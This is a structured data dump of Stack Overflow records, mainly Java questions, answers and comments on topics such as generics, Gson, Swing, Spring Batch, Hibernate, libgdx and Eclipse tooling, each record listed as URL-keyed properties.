answers question: http://stackoverflow.com/q/22325495

http://stackoverflow.com/q/22224707
tagged with: java
type: Question
has title: Configuring ServiceNow through a program
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33813582
favorite count: 0
has answer: http://stackoverflow.com/a/22284828
has body: I need a custom definition of ServiceNow for my business. For which, I'll have to configure many tables like Incident, CIs to name a few, then the views, forms etc. I am aware that it can be done through UI provided at our instance. But doing it through a program which can configure our definition on a fresh instance in one go will be a challenge. But I think it should be possible, to give you a scenario here's what I might be doing.. -- I need to create new views on a table, new fields on that view, adding dependent fields, new choices in the choice list for a choice field and the list goes on... Is there any way to do it in Java? maybe using JSON Web services provided by ServiceNow? Or is there any API in java which can simplify the work, like the one for BMC Remedy? I understand that it is a big task, please let me know if there is any other way to do it. PS: I am familiar with the JSON web service API available for ServiceNow.
upvote count: 1
tagged with: servicenow
accepted answer: http://stackoverflow.com/a/22284828
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33871481
score: 1

http://stackoverflow.com/comment/33781444
has text: @bob then you should mark as answer. it can useful to others
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22243907

http://stackoverflow.com/comment/33777321
has text: Just out of curiosity, how long does it currently take you to load and parse that file?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22241841

http://stackoverflow.com/q/22290467
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33865498
downvote count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33865441
type: Question
has body: I have the abstract class package main; public abstract class Command { protected final String key; public Command(String key) { this.key = key; } public abstract void function(String[] args); public abstract void help(); } But when I try to call the method function(String[] args), albeit in a confusing and overly complicated way, problems ensue. Class&lt;? extends Command&gt; x = (Class&lt;? extends Command&gt;) Class.forName( "main.Commands$" + String.valueOf(command.toCharArray()[0]).toUpperCase() + command.substring(1).toLowerCase() ); x.function(args); Gives me the error The method function(String[]) is undefined for the type Class&lt;capture#3-of ? extends Command&gt; I alternatively tried the following: Command x = (Command) Class.forName( "main.Commands$" + String.valueOf(command.toCharArray([0]).toUpperCase() + command.substring(1).toLowerCase() ); But that just gave me Cannot cast from Class&lt;capture#1-of ?&gt; to Command. I apologize in advance for my poor naming.
upvote count: 2
tagged with: casting
has title: The method is undefined for the type Class<capture#3-of ? extends Command>
answer count: 1
has answer: http://stackoverflow.com/a/22290503
accepted answer: http://stackoverflow.com/a/22290503
tagged with: generics
favorite count: 0
tagged with: abstract-class
tagged with: subclass
has comment: http://stackoverflow.com/comment/33865659
has comment: http://stackoverflow.com/comment/33865865
has comment: http://stackoverflow.com/comment/33865576

http://stackoverflow.com/comment/76720757
type: Comment
comment on: http://stackoverflow.com/a/22233249
score: 0
type: AnswerComment
has text: The following blog post from Microsoft's XML Team states that `XmlTextReader` is obsolete and should not be used. `XmlReader` should be used instead. The blog post: https://blogs.msdn.microsoft.com/xmlteam/2011/10/08/the-world-has-moved-on-have-you-xml-apis-you-should-avoid-using/

http://stackoverflow.com/comment/33844650
type: QuestionComment
has text: Yes. The actual use case which I cannot disclose here, requires an array.
comment on: http://stackoverflow.com/q/22279020
score: 0
type: Comment

http://stackoverflow.com/comment/33715570
score: 1
has text: Paint can be called at anytime, for any number of reasons. That's why the OP shouldn't be changing the state of their components from within the paint method ;)
comment on: http://stackoverflow.com/a/22207756
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22217545
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/22210823
score: 2
answers question: http://stackoverflow.com/q/22210823
has body: You can fix that with wrapping your JTable with help of JScrollPane or JPanel and setting Border to that component. For example: JScrollPane pane = new JScrollPane(statsT); pane.setBorder(border); if you needn't to show table header add statsT.setTableHeader(null); Or with JPanel: JPanel p = new JPanel(new BorderLayout()); p.add(statsT); p.setBorder(border); But, it is better to use JScrollPane.
has comment: http://stackoverflow.com/comment/33760177
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/22211236
tagged with: java
score: 0
answer count: 1
has title: How would I take user input and add it into an arraylist?
tagged with: arraylist
has answer: http://stackoverflow.com/a/22211283
tagged with: user-input
type: UnansweredQuestion
has body: I have currently written a class called PostTUI and I need to know if I could take the input people write from my scanner and add it into my arraylist. public class PostTUI { private Scanner scan = new Scanner(System.in); private PostManager manager; private String userChoice; private String author; private String message; public PostTUI(PostManager manager) { this.manager = new PostManager(); } public void run() { System.out.println("1 - Create a new Message Post"); System.out.println("2 - Create a new Photo Post"); System.out.println("3 - Create a new Event Post"); this.userChoice = this.scan.nextLine(); if (this.userChoice.equals("1")) { System.out.println("Who is the author?"); this.author = this.scan.nextLine(); System.out.println("What is the message?"); this.message = scan.nextLine(); this.manager.addPost(Post newPost); } } } The PostManager class is the class who's job it is to declare and initialize the arraylist. It has a method that accepts and stores a post (addPost) and a toString method.
has comment: http://stackoverflow.com/comment/33722032
type: Question

http://stackoverflow.com/q/22231542
has title: Displaying the length of a word using dashes
favorite count: 0
has body: So I get a random word from a website and use the length() method to obtain how many letters are in the word. Now I want to display these as dashes (-). For example, say the word is "dogs". The length method will return 4. Now I want to convert that into ----. Is there any way in java to say in - the number representing the length of the word?
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/1235179
has answer: http://stackoverflow.com/a/22231690
has comment: http://stackoverflow.com/comment/33757696
score: 1
duplicate of: http://stackoverflow.com/q/1235179
tagged with: java
upvote count: 1
has comment: http://stackoverflow.com/comment/33757727
has answer: http://stackoverflow.com/a/22231692
type: Question
answer count: 2
downvote count: 0
linked to: http://stackoverflow.com/q/9664778

http://stackoverflow.com/comment/33843901
comment on: http://stackoverflow.com/a/22278597
type: AnswerComment
score: 0
has text: Let me Copy Your Code
type: Comment

http://stackoverflow.com/comment/33754700
score: 0
type: QuestionComment
type: Comment
has text: It's not clear what you're asking.
comment on: http://stackoverflow.com/q/22229544

http://stackoverflow.com/a/22311600
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22311519
downvote count: 0
has body: You will need to override the toString() method of Contact first: @Override public String toString() { return "your string representation"; } And then when printing out this code, your phonebook, you want to do do a for-loop: for (Contact contact : phonebook) { System.out.println(contact); } It might be worth considering making Phonebook an own class, such that you could implement its own toString() method. An extra, when using Java 8, you could do the following instead of writing 3 lines of code you could write it in one longer line: phonebook.forEach(System.out::println); This will call System.out.println(T), resolved to System.out.println(Phonebook), for all your Contact instances in phonebook.
type: Answer

http://stackoverflow.com/q/22296083
score: 4
answer count: 3
has body: http://www.cstutoringcenter.com/problems/problems.php?id=103 For those who doesn't want to click it, it basically says there's a stepping stone, "-" and soldier "#", soldiers can only move right. If the soldier is behind another soldier, he must wait for the soldier to move first. The ending condition is when all soldiers reaches the end. The number of ways 2 soldier can move across 5 stepping stones. 1) ##--- #-#-- -##-- -#-#- --##- --#-# ---## 2) ##--- #-#-- -##-- -#-#- -#--# --#-# ---## 3) ##--- #-#-- #--#- -#-#- --##- --#-# ---## 4) ##--- #-#-- #--#- -#-#- -#--# --#-# ---## 5) ##--- #-#-- #--#- #---# -#--# --#-# ---## I'm using a breadth first search, with 5 stones, it's running within seconds, but with 10 stones, it's taking hours, the time is increasing exponentially with the depth. How can I deal with this? My Codes: States.java import java.util.ArrayList; public class State { public int stones; public Soldiers[] soldiers; public String currentState =""; public boolean visited = false; public State(int stones,int Numsoldiers){ System.out.println(Numsoldiers); this.stones = stones; soldiers = new Soldiers[Numsoldiers]; System.out.println("length" + soldiers.length); initState(); } public State(int stones,Soldiers[] soldiers){ this.stones = stones; this.soldiers = soldiers; paintState(); } public void initState(){ for(int i=0;i&lt;soldiers.length;i++) { soldiers[i] = new Soldiers(); soldiers[i].position =i; currentState+="#"; } for(int j=soldiers.length;j&lt;stones;j++) { currentState+="-"; } } private void paintState(){ for(int j=0;j&lt;stones;j++) { currentState+="-"; } char[] stateChar = currentState.toCharArray(); currentState = ""; for(int i=0;i&lt;soldiers.length;i++){ stateChar[soldiers[i].position] = '#'; } for(int k=0; k&lt;stateChar.length;k++){ currentState += stateChar[k]; } } public void printState(){ System.out.println(currentState); } public ArrayList&lt;State&gt; getNextStates(){ ArrayList&lt;State&gt; States = new ArrayList&lt;State&gt;(); for(…
favorite count: 0
tagged with: catalan
type: UnansweredQuestion
tagged with: path
has title: All possible ways to reach an ending position
has comment: http://stackoverflow.com/comment/33875227
has answer: http://stackoverflow.com/a/22301232
tagged with: algorithm
has answer: http://stackoverflow.com/a/22296821
tagged with: java
has comment: http://stackoverflow.com/comment/33875313
has answer: http://stackoverflow.com/a/22296371
type: Question
upvote count: 4
downvote count: 0

http://stackoverflow.com/q/22235824
has body: I've been using JFreeChart in order to plot some series but I have a doubt related to the space between the labels in the legend. Does anyone know how to set a space between legends? For example, right now: and this is how I want it to look like I'll appreciate your help.
answer count: 2
has comment: http://stackoverflow.com/comment/33818494
downvote count: 0
favorite count: 0
possible better answer: http://stackoverflow.com/a/22248287
has answer: http://stackoverflow.com/a/22248287
has answer: http://stackoverflow.com/a/22236433
type: AnsweredQuestion
score: 1
tagged with: java
has title: JFreeChart gap between legend labels
upvote count: 1
tagged with: swing
tagged with: jfreechart
type: Question
accepted answer: http://stackoverflow.com/a/22236433
has comment: http://stackoverflow.com/comment/33766959

http://stackoverflow.com/comment/33894335
type: Comment
has text: and /var/log/messages is getting populated with: Mar 10 13:00:07 localhost logstash[592]: \\\\\\\\\\\\\\. No idea whats going on there.
comment on: http://stackoverflow.com/a/22281557
type: AnswerComment
score: 0

http://stackoverflow.com/a/27127656
score: 0
has body: First Set JDK PATH ..Then compile and run code&nbsp; JDK Path Setting: Follow the given steps below to set the PATH After installing JDK, right click “My Computer” icon Choose “Properties” from context menu Click “Advanced” tab and the click ‘Environment Variable’ In the Edit windows, modify PATH by adding the location of the class to the value for PATH. If you do not have the item PATH, you may select to add a new variable and add PATH as the name and the location of the class as the value. For example, if you have installed JDK in C drive then path may be in the form C:\Program Files\Java\jdk1.6.0_12\bin You will have to give your own path in which you have installed JDK. Open Command prompt window, and run your Java code.
answers question: http://stackoverflow.com/q/22201803
type: Answer

http://stackoverflow.com/comment/33672013
comment on: http://stackoverflow.com/q/22183000
has text: @Tuga: not necessarily. But it is quite common for servers that serve large files, as it allows partial downloads and download resuming.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22244907
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22237248
has body: You shouldn't actually care unless you have a very specific use case. In certain environments, you may want to turn off some additional features that ApplicationContext has over BeanFactory. These are summarized in this table As for "Automatic registration of BeanPostProcessor", the ApplicationContext will detect beans that implement BeanPostProcessor and will use them to enrich the context while it is loaded. This is a very powerful feature of Spring, check Container extension points
accepted answer of: http://stackoverflow.com/q/22237248
downvote count: 0
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/q/22169731
tagged with: postgresql
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22173423
has body: I want to get data from a table that is grouped by date, but since my date column data type is datetime. "select to_char(datePerformed, 'yyyy-mm-dd'), sum(sendAmount) from AppTransaction group by to_char(datePerformed, 'yyyy-mm-dd')" since datePerformed with time-stamp, its group with including the time stamp, so i have used above query with group by to_char(datePerformed, 'yyyy-mm-dd')" I'm getting an exception like this, java.lang.IllegalArgumentException: Cannot format given Object as a Date I want this query to be group my data set with data without time-stamp, how can I do it?
has answer: http://stackoverflow.com/a/36914501
score: 1
tagged with: java
tagged with: hibernate
tagged with: mysql
upvote count: 1
has answer: http://stackoverflow.com/a/32306433
type: Question
has comment: http://stackoverflow.com/comment/33652338
has comment: http://stackoverflow.com/comment/33648135
answer count: 3
has title: How to group by date without time-stamp in hibernate query language?
tagged with: sql
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/33858474
type: QuestionComment
comment on: http://stackoverflow.com/q/22286584
has text: Usually, yes, although just UDP is fine
score: 0
type: Comment

http://stackoverflow.com/comment/33769660
has text: Yeah this has nothing to do with contention because of the lack of locks. I've edited my answer to show that at 10 _million_ iterations I see little difference between them.
type: AnswerComment
comment on: http://stackoverflow.com/a/22236998
type: Comment
score: 2

http://stackoverflow.com/q/22201303
answer count: 1
tagged with: string
tagged with: file-io
has comment: http://stackoverflow.com/comment/33706442
tagged with: text
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33706182
has body: Im having some trouble getting this function to work, so ill provide abit of context here. All this is, is a button to remove a line out of 3 different text files. It determines the strings to remove by grabbing them from the textFields within the main GUI then searches the relevant files to find the strings. Once the strings are found they are written to a temporary file and flushed. This code does actually work but only for the first file. The only problem I am having with this chunk of code is that the last too renames wont work for some reason? I need to rename the files back to the originals so the rest of my software will run correctly. Please can anyone help? :) removeButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent evt) { // TODO String name = reminderNameField.getText(); String date = reminderDate.getText(); String details = reminderDetailsField.getText(); File fileName = new File("reminderNames.txt"); File fileDate = new File("reminderDate.txt"); File fileDetails = new File("reminderDetails.txt"); try { File tempFileN = new File(fileName.getAbsoluteFile() + ".tmp"); File tempFileD = new File(fileDate.getAbsoluteFile() + ".tmp"); File tempFileC = new File(fileDetails.getAbsoluteFile() + ".tmp"); BufferedReader brName = new BufferedReader(new FileReader("reminderNames.txt")); BufferedReader brDate = new BufferedReader(new FileReader("reminderDate.txt")); BufferedReader brDetails = new BufferedReader(new FileReader("reminderDetails.txt")); PrintWriter pwName = new PrintWriter(new FileWriter(tempFileN)); PrintWriter pwDate = new PrintWriter(new FileWriter(tempFileD)); PrintWriter pwDetails = new PrintWriter(new FileWriter(tempFileC)); String lineN = null; String lineD = null; String lineC = null; while ((lineN = brName.readLine()) !=null &amp;&amp; (lineD = brDate.readLine()) !=null &amp;&amp; (lineC = brDetails.readLine()) !=null) { if(!lineN.trim().equals(name) &amp;&amp; !lineD.trim().equals(date) &amp;&amp; !lineC.tri…
type: Question
has comment: http://stackoverflow.com/comment/33704109
has comment: http://stackoverflow.com/comment/33705683
tagged with: java
has answer: http://stackoverflow.com/a/25483873
has comment: http://stackoverflow.com/comment/33703412
has title: Trying to remove specific strings from text files

http://stackoverflow.com/comment/33864425
score: 0
type: Comment
type: AnswerComment
has text: Also you can try calling the URL you have in the browser: http://localhost:7001/KampanyaDuyuruServis/servis/mekansearchservis/searchMekan/12/53.4534534/67.766868
comment on: http://stackoverflow.com/a/22289488

http://stackoverflow.com/a/22197918
has body: Try this: to retrieve all trkpt attributes do this: String trkpt ="/gpx/trk/trkseg/trkpt"; NodeList nodeList= (NodeList) xpath.compile(trkpt).evaluate(doc, XPathConstants.NODESET); for(int i=0; i&lt;nodeList.getLength(); i++){ Node node = nodeList.item(i); NamedNodeMap attributesMap = node.getAttributes(); for (int j = 0; j&lt; attributesMap.getLength(); j++) { Node attributeNode = attributesMap.item(j); String attributeName = attributeNode.getNodeName(); String attributeValue = attributeNode.getNodeValue(); System.out.println(attributeName + "=" + attributeValue); } }
score: 0
answers question: http://stackoverflow.com/q/22197722
type: Answer

http://stackoverflow.com/q/22291353
has body: So I am designing a app with libgdx , kind of a simple app anyway. Its a recipe guide app. What would be best way to render a selection screen for all the recipes , I was thinking create a table and display the recipes and make it clickable / touchable. However I don't know first way to start doing this in libgdx or if theirs a better alternative. Ok I actually tried to make this work I am getting a error and i know what error means I am just having a difficult time finding what is null; more eyes are better then one. err two. this class is RecipeScreen private TextureAtlas atlas; private Sprite sprite; private OrthographicCamera camera; private AssetManager assets; private SpriteBatch batch; int[] blockMenu = new int[100]; public RecipeScreen(){ } public void create(){ camera = new OrthographicCamera(720,1280); assets = new AssetManager(); if (Gdx.app.getType() == ApplicationType.Android){ assets.load("data/akemix.pack", TextureAtlas.class); assets.finishLoading(); } else { assets.load("bin/data/bakemix.pack", TextureAtlas.class); assets.finishLoading(); } if (Gdx.app.getType() == ApplicationType.Android){ atlas = assets.get("bin/data/bakemix.pack"); } else { atlas = assets.get("bin/data/bakemix.pack"); } sprite = new Sprite(atlas.findRegion("BLOCKBACKSEL")); } public void renderBlockMenu(){ //batch.setProjectionMatrix(camera.combined); batch.begin(); sprite.draw(batch); batch.end(); } public void dispose(){ assets.dispose(); batch.dispose(); } } this class is start screen public StartScreen(){ } SpriteBatch batch; Texture textBCKG; BitmapFont font; InputMultiplexer ui; boolean leftPressed = false; boolean screenTouched = false; Debug debug = new Debug(); RecipeScreen rScreen = new RecipeScreen(); ScreenState sState = new ScreenState(); public void create(){ batch = new SpriteBatch(); font = new BitmapFont(); ui = new InputMultiplexer(); ui.addProcessor(new MyInputProcessor()); sState.setScreenState(0); //set to start Gdx.input.setInputProcessor(ui); if (Gdx.app.ge…
has comment: http://stackoverflow.com/comment/33867126
has comment: http://stackoverflow.com/comment/33867081
has comment: http://stackoverflow.com/comment/33867157
has comment: http://stackoverflow.com/comment/33866986
score: 0
has title: Recipe App , best way to make selection for recipes?
has comment: http://stackoverflow.com/comment/33884404
answer count: 0
has comment: http://stackoverflow.com/comment/33951938
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33888413
type: Question
tagged with: libgdx
tagged with: java
has comment: http://stackoverflow.com/comment/33872199

http://stackoverflow.com/comment/33931846
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22327806
has text: Honestly... me too :P I *guess* OP is trying to learn about custom painting in swing. However his/her class constructor doesn`t make sense and it's really confusing. Also class name doesn't make sense since OP's code just draw a line (or tries to do so). @peeskillet
type: AnswerComment

http://stackoverflow.com/q/22209111
tagged with: picasso
favorite count: 0
has answer: http://stackoverflow.com/a/45275594
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33718014
has comment: http://stackoverflow.com/comment/36495890
downvote count: 0
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33718984
type: Question
has title: How can I set cookies using Picasso for Android?
has body: I've tried to set cookies to be sent when requesting for images using Picasso but it doesn't seem to send any cookies by monitoring the network for HTTP headers. I've built a Picasso instance as follows and tried to use HttpURLConnection for downloader and set cookies using cookieSyncManager. What could I be doing wrong? Builder picassoBuilder = new Picasso.Builder(this); Downloader downloader = new UrlConnectionDownloader(this); picassoBuilder.downloader(downloader); Picasso picasso = picassoBuilder.build(); CookieSyncManager cookieSyncManager = CookieSyncManager.createInstance(this); CookieManager cookieManager = CookieManager.getInstance(); cookieManager.setCookie("http://example.com/", "key=value"); cookieSyncManager.sync(); picasso.with(this).load("http://example.com/image.php?image=test.png").into(imageView);
has comment: http://stackoverflow.com/comment/33718514
upvote count: 1
answer count: 1

http://stackoverflow.com/comment/33879353
type: QuestionComment
has text: Yea, I did. Look at the 9th line "private List<ProvedorDeContatos> Telefones;". I changed "return Nome + "-" + Telefones.get(0);" to "return "Nome - "+this.Nome+",Telefones - "+this.Telefones;", and the application started running! This made me think that shouldn't be a problem in variable declaration. The problem may be on the sequence of the code in this line.
type: Comment
comment on: http://stackoverflow.com/q/22258984
score: 0

http://stackoverflow.com/a/22293249
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/22271590
answers question: http://stackoverflow.com/q/22271590
has body: Open the configuration for the External Tools Configuration. Refer picture below. Enter the name for the external tool configuration Select the path for the script. Here I selected abc.sh Select the path of the Java file(inside workspace) you want to pass to the script. Here I selected Test.java file present inside the folder src which is present inside the project Test. Note the prefix ${workspace_loc} this is a variable which points to the current eclipse workspace. You can look other variable details by clicking on the Variables button. Make sure the shell script file was executable if not make it so by executing the command chmod a+x &lt;Your script file path&gt;. Click on Apply button then Run button. Here is my abc.sh file content: echo "hello script from eclipse" echo "Argument to this script is: " echo ${0} Output: After Pressing run you will get the below result in eclipse "Console" View. hello script from eclipse Argument to this script is: /home/chandrayya/abc.sh
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/q/22278222
has comment: http://stackoverflow.com/comment/33843163
type: AnsweredQuestion
has body: I use eclipse kepler (java EE) and when I open editor I can't see the tabs like here: https://www.eclipse.org/webtools/dali/docs/3.2/user_guide/task_manage_persistence.htm All I get is persistence.xml tab.
has comment: http://stackoverflow.com/comment/33846496
score: 1
tagged with: java
tagged with: eclipse
type: Question
tagged with: jpa
downvote count: 0
has title: Persistence.xml editor
has answer: http://stackoverflow.com/a/22283355
accepted answer: http://stackoverflow.com/a/22283355
has comment: http://stackoverflow.com/comment/33850349
tagged with: persistence
answer count: 1
favorite count: 0
tagged with: dali
upvote count: 1

http://stackoverflow.com/comment/33867755
comment on: http://stackoverflow.com/q/22291713
type: Comment
type: QuestionComment
score: 2
has text: I'm guessing that when this happens, your `oldValue` is not a valid `Integer`, so the `Integer.parseInt` is failing continuously and causing an infinite loop of trying to parse it and then set it again.

http://stackoverflow.com/a/22211875
type: Answer
has body: In New Project wizard there is a step in which you have an option to Create Activity, To have a default activity you should tick that option. By the way cleaning the project (Project->Clean) might help
score: 0
has comment: http://stackoverflow.com/comment/33723673
answers question: http://stackoverflow.com/q/22211366

http://stackoverflow.com/a/22323913
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22323837
type: Answer
has body: You need two SimpleDateFormat objects. One to parse the date from the string using parse() method and the second one to output it in desired format using format() method. For more info about date formatting check the docs.
downvote count: 0

http://stackoverflow.com/a/22343377
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/22254789
score: 2
has body: Vinay answer is correct but need some elaboration. For reader-processor->writer Spring calls the default constructor (let’s ignore @PostConstruct etc.) Scope(“step”), as the name implies is creating a new bean for every step. Step does not have to be one to one with thread, for example let’s say I have the following reader-processor->writer @Component @Scope("step") public class DoNothingItemReader implements ItemReader&lt;String&gt;{ public DoNothingItemReader() { LOGGER.info(String.format("New %s created" ,ClassUtils.getShortName(this.getClass()))); } @Override public String read() throws Exception{ LOGGER.info("Nothing to read..."); .. } } @Component @Scope("step") public class DoNothingItemProcessor implements ItemProcessor&lt;String, String&gt; { public DoNothingItemProcessor() { LOGGER.info(String.format("New %s created" ,ClassUtils.getShortName(this.getClass()))); } @Override public String process(String i) throws Exception { LOGGER.info("Nothing to process..."); return i; } } @Component @Scope("step") public class DoNothingItemWritter implements ItemWriter&lt;String[]&gt; { public DoNothingItemWritter() { LOGGER.info(String.format("New %s created" ,ClassUtils.getShortName(this.getClass()))); } @Override public void write(List&lt;? extends String[]&gt; items) throws Exception { LOGGER.info("Nothing to write..."); } Now we reuse this above in two steps e.g. &lt;batch:job id="testScopStep"&gt; &lt;batch:step id="step1" next="step2"&gt; &lt;batch:tasklet transaction-manager="transactionManager"&gt; &lt;batch:chunk reader="doNothingItemReader" processor="doNothingItemProcessor" writer="doNothingItemWritter" commit-interval="3"&gt; &lt;/batch:chunk&gt; &lt;/batch:tasklet&gt; &lt;/batch:step&gt; &lt;batch:step id="step2"&gt; &lt;batch:tasklet transaction-manager="transactionManager"&gt; &lt;batch:chunk reader="doNothingItemReader" processor="doNothingItemProcessor" writer="doNothingItemWritter" commit-interval="3"&gt; &lt;/batch:chunk&gt; &lt;/batch:tasklet&gt; &lt…
downvote count: 0

http://stackoverflow.com/q/22264488
linked to: http://stackoverflow.com/q/1054105
score: 0
has title: Unable to connect eclipse with oracle xe database
answer count: 1
tagged with: java
tagged with: database
tagged with: eclipse
tagged with: oracle10g
has body: I tried to run a simple java program to create a table in oracle Db My program is import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.sql.Statement; public class lib { public static void main(String[]args) throws SQLException,ClassNotFoundException { Class.forName("oracle.jdbc.driver.OracleDriver"); Connection conn = DriverManager.getConnection("jdbc:oracle:thin@localhost:1521:xe","scott","tiger"); Statement st = conn.createStatement(); st.executeUpdate("Create Table lib(AuthorName varchar2(10),BookName varchar2(10)"); } } while running this program i'm getting the following error Exception in thread "main" java.sql.SQLException: Invalid Oracle URL specified at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:441) at java.sql.DriverManager.getConnection(DriverManager.java:582) at java.sql.DriverManager.getConnection(DriverManager.java:185) at lib.main(lib.java:11) can someone tell me how to fix it????? i'm using--- web logic server 12c(eclipse-Indigo) &amp; Oracle database 10g XE My Database is working fine,,but can't able to connect Db using eclipse
type: UnansweredQuestion
tagged with: weblogic-10.x
type: Question
has answer: http://stackoverflow.com/a/22279343
has comment: http://stackoverflow.com/comment/33819618

http://stackoverflow.com/a/22219599
has body: In java can I be sure that a1 is always initialized before a2 ? Yes, because the specification (section 12.4.2) guarantees it (emphasis mine): Next, execute either the class variable initializers and static initializers of the class, or the field initializers of the interface, in textual order, as though they were a single block. Note that constants are initialized earlier than non-constants (step 6 compared with step 9 quoted above).
has comment: http://stackoverflow.com/comment/97630180
accepted answer of: http://stackoverflow.com/q/22219512
has comment: http://stackoverflow.com/comment/33736675
type: AcceptedAnswer
downvote count: 0
score: 8
answers question: http://stackoverflow.com/q/22219512
upvote count: 8
type: Answer
has comment: http://stackoverflow.com/comment/97630061

http://stackoverflow.com/q/22320062
downvote count: 1
has answer: http://stackoverflow.com/a/26692988
type: UnansweredQuestion
tagged with: jsf-2.2
score: 1
tagged with: ejb-3.2
favorite count: 0
tagged with: cdi
type: Question
upvote count: 2
answer count: 2
has body: My understanding is that @Stateful @ConversationScoped is allowed, and is normal usage. With the new JSF 2.2 ViewScoped (javax.faces.view.ViewScoped) annotation, which is documented to be fully compatible with CDI scope annotations, does this mean that: @Stateful @ViewScoped Is a viable combination?
has answer: http://stackoverflow.com/a/22330238
has title: Is it permitted to use @Stateful and @javax.faces.view.ViewScoped together?
tagged with: jsf
tagged with: java

http://stackoverflow.com/comment/33768793
type: QuestionComment
comment on: http://stackoverflow.com/q/22237162
score: 2
has text: `ListNode head = theHead;` -- Just stick it in a variable before you traverse the list.
type: Comment

http://stackoverflow.com/a/22178147
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33688829
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22177599
has comment: http://stackoverflow.com/comment/33690158
has comment: http://stackoverflow.com/comment/33686995
has comment: http://stackoverflow.com/comment/33689649
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22177599
has body: If you use spawn="true", this is not possible. Set spawn to false (default), and it works. Update: Try using: &lt;java fork="true" jar="${languagesynch.path}/dist/test.jar"&gt; &lt;arg value="C:\ContinuousIntegration\res" /&gt; &lt;!--copy from--&gt; &lt;arg value="${project.basedir}\res" /&gt; &lt;!--to this directory--&gt; &lt;/java&gt; Or if for any reason you MUST use exec: &lt;exec executable="cmd.exe" spawn="false"&gt; &lt;arg value="/c"/&gt; &lt;arg value="java"/&gt; &lt;arg value="-jar"/&gt; &lt;arg value="${languagesynch.path}"/&gt; &lt;arg value="C:\ContinuousIntegration\res" /&gt; &lt;!--copy from--&gt; &lt;arg value="${project.basedir}\res" /&gt; &lt;!--to this directory--&gt; &lt;/exec&gt;

http://stackoverflow.com/a/22317165
score: 1
downvote count: 0
has body: Extensibility - Ease of adding new features to an existing codebase. Maintainability - Ease of reading and understanding the existing codebase to easily debug, optimize and refactor it. Reusability - Ease of using previously created code in order to reduce redundancy and repetition in your code.
has comment: http://stackoverflow.com/comment/34002973
type: Answer
answers question: http://stackoverflow.com/q/22317120
upvote count: 1
has comment: http://stackoverflow.com/comment/34002713

http://stackoverflow.com/comment/33674699
type: AnswerComment
comment on: http://stackoverflow.com/a/22183256
score: 0
type: Comment
has text: yes, monitor.getMonitorAlert() returns null. How can I fix that?

http://stackoverflow.com/comment/33800600
type: AnswerComment
has text: I got the solution.But my question is it is injected and proof is setter then why again dependency in parent becomes null
comment on: http://stackoverflow.com/a/22254536
score: 0
type: Comment

http://stackoverflow.com/a/22271806
has comment: http://stackoverflow.com/comment/33870497
type: Answer
has comment: http://stackoverflow.com/comment/33831664
score: 67
accepted answer of: http://stackoverflow.com/q/22271779
downvote count: 0
answers question: http://stackoverflow.com/q/22271779
has comment: http://stackoverflow.com/comment/33831213
has body: Yes, use a TypeToken. ArrayList&lt;ArrayList&lt;String&gt;&gt; list = gson.fromJson(jsonString, new TypeToken&lt;ArrayList&lt;ArrayList&lt;String&gt;&gt;&gt;() {}.getType()); The TypeToken allows you to specify the generic type you actually want, which helps Gson find the types to use during deserialization. It uses this gem: Class#getGenericSuperClass(). The fact that it is an anonymous class makes it a sub class of TypeToken&lt;...&gt;. It's equivalent to a class like class Anonymous extends TypeToken&lt;...&gt; The specification of the method states that If the superclass is a parameterized type, the Type object returned must accurately reflect the actual type parameters used in the source code. If you specified new TypeToken&lt;String&gt;(){}.getType(); the Type object returned would actually be a ParameterizedType on which you can retrieve the actual type arguments with ParameterizedType#getActualTypeArguments(). The type argument would be the Type object for java.lang.String in the example above. In your example, it would be a corresponding Type object for ArrayList&lt;ArrayList&lt;String&gt;&gt;. Gson would keep going down the chain until it built the full map of types it needs.
upvote count: 67
has comment: http://stackoverflow.com/comment/33831135
has comment: http://stackoverflow.com/comment/33831039
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33831080

input
tags question: http://stackoverflow.com/q/22273028
tags question: http://stackoverflow.com/q/22186919
tags question: http://stackoverflow.com/q/22235067
tags question: http://stackoverflow.com/q/22201374
tags question: http://stackoverflow.com/q/22301892
tags question: http://stackoverflow.com/q/22224113
tags question: http://stackoverflow.com/q/22240511
tags question: http://stackoverflow.com/q/22263989
tags question: http://stackoverflow.com/q/22225392
tags question: http://stackoverflow.com/q/22327838
tags question: http://stackoverflow.com/q/22237173
tags question: http://stackoverflow.com/q/22219833
tags question: http://stackoverflow.com/q/22197559
tag name: input
type: Tag
tags question: http://stackoverflow.com/q/22233838

http://stackoverflow.com/q/22244862
has answer: http://stackoverflow.com/a/22269025
score: 1
upvote count: 1
type: Question
tagged with: java
accepted answer: http://stackoverflow.com/a/22269025
